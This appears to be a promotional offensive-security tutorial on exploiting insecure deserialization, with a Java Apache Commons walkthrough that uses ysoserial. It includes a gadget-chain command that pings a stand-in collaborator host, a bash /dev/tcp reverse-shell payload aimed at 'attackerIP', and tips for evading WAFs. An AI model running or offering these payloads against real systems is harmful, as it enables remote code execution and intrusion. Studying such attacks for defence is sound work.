Alright, this one’s for the deep-end divers — we’re getting into insecure deserialization, one of those sleeper vulnerabilities that can blow the roof off an app if you know what you’re doing. You see it in bug bounty programs, in private targets, even in enterprise software that’s been duct-taped for years.

What’s Insecure Deserialization?

At its core: when an app deserializes user-controlled data without verifying what’s inside. That means if you can craft a payload that abuses the deserialization process — boom, you’re running arbitrary code, messing with internal logic, or even triggering remote code execution.

Commonly Vulnerable Targets:

• Java apps using Apache Commons, Spring, or Jenkins
• .NET services that deserialize BinaryFormatter or ViewState
• Python web apps using pickle (yes, people still do this)
• PHP apps unserializing POST data with unserialize()

Your Toolkit:

To exploit this properly, you need more than just Burp Suite. You need:

• ysoserial (Java) — for generating gadget chains
• ysoserial.net — for .NET payloads
• gadgetinspector — to scan Java codebases for usable gadget chains
• Burp Collaborator — to confirm out-of-band RCE or DNS-based payloads
• Ghidra/Jadx — for reverse engineering endpoints if it’s obfuscated or compiled
• Custom exploit scripts — because real ops aren't copy-paste

Walkthrough: RCE in a Java App (Apache Commons)

Scenario: You find a POST parameter like data=BASE64ENCODED_JAVA_OBJECT in a Spring app. Time to go surgical.

1. Decode the data.
   If it's base64, decode it. If it gives gibberish — likely serialized Java object.
2. Check the class structure.
   Use SerialKiller, SerializationDumper, or just throw it into a test app and log stack traces.
3. Use ysoserial to generate a gadget chain.
   For example:
   ```bash
   java -jar ysoserial.jar CommonsCollections5 'ping attacker.burpcollaborator.net' > payload.ser

4. **Base64 encode the payload and replace the original `data` parameter.** Inject and send it. 5. **Wait for that ping back** — or check your Collaborator logs. 6. **Weaponize** Replace the ping with a reverse shell or command injection. Example:

bash
java -jar ysoserial.jar CommonsCollections5 'bash -i >& /dev/tcp/attackerIP/4444 0>&1'
```

Bypasses You’ll Need to Know

• WAF evasion: Use alternative gadgets or split payloads to dodge signatures
• Gadget chain customization: Sometimes you’ll need to stitch together or modify classes to match the target’s libraries
• Encoding tricks: Double base64, hex-encoding, or chunked transfer encoding
• Out-of-band exploitation: When RCE doesn’t return output, rely on DNS or HTTP callbacks

What Cyber Protection Academy Says

We don’t just teach students how to identify deserialization bugs — we show them how to exploit, chain, and escalate them like pros. From custom gadget development to analyzing obfuscated code in real targets, our advanced labs simulate real-world exploitation in Java, .NET, and Python.